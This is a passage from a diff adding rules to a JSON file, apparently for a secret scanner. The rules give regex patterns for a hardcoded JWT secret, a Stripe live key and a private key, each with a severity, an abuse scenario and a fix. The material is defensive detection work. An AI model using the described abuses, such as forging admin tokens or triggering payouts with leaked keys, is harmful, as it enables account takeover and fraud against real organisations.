+      "flags": "g",
+      "why": "A private key in source code compromises your entire cryptographic infrastructure — SSL certificates, SSH access, and signed tokens can all be forged.",
+      "scenario": "The committed private key is used to decrypt TLS traffic captured by an attacker, or to sign malicious code as if it came from your organisation.",
+      "fix": "Private keys must never appear in source code. Store in a secrets manager or HSM. Revoke and reissue the affected certificate or key pair immediately."
+    },
+    {
+      "id": "SECRET-007",
+      "name": "Hardcoded JWT secret",
+      "severity": "CRITICAL",
+      "category": "Broken Authentication (OWASP A07)",
+      "pattern": "jwt[_-]?secret\\s*[:=]\\s*['\"][^'\"]{8,}['\"]",
+      "flags": "gi",
+      "why": "The JWT signing secret is used to sign and verify all authentication tokens. Exposing it allows an attacker to forge valid sessions for any user.",
+      "scenario": "An attacker who knows the secret creates a JWT with admin: true and any user ID, bypassing all authentication checks in your application.",
+      "fix": "Generate a strong random secret (minimum 256 bits) and store it in an environment variable. Rotate the secret and invalidate all existing sessions immediately."
+    },
+    {
+      "id": "SECRET-008",
+      "name": "Stripe Secret Key",
+      "severity": "CRITICAL",
+      "category": "Sensitive Data Exposure (OWASP A02)",
+      "pattern": "sk_live_[a-zA-Z0-9]{24,}",
+      "flags": "g",
+      "why": "Stripe live keys grant full programmatic access to your payment account, including initiating payouts, refunds, and reading card data.",
+      "scenario": "An attacker uses the exposed key to initiate payouts to an external account or enumerate customer payment methods.",
+      "fix": "Never use live keys in source code. Store in a server-side environment variable only. Revoke the exposed key immediately in the Stripe Dashboard and audit recent API activity."
+    }
+  ]
+}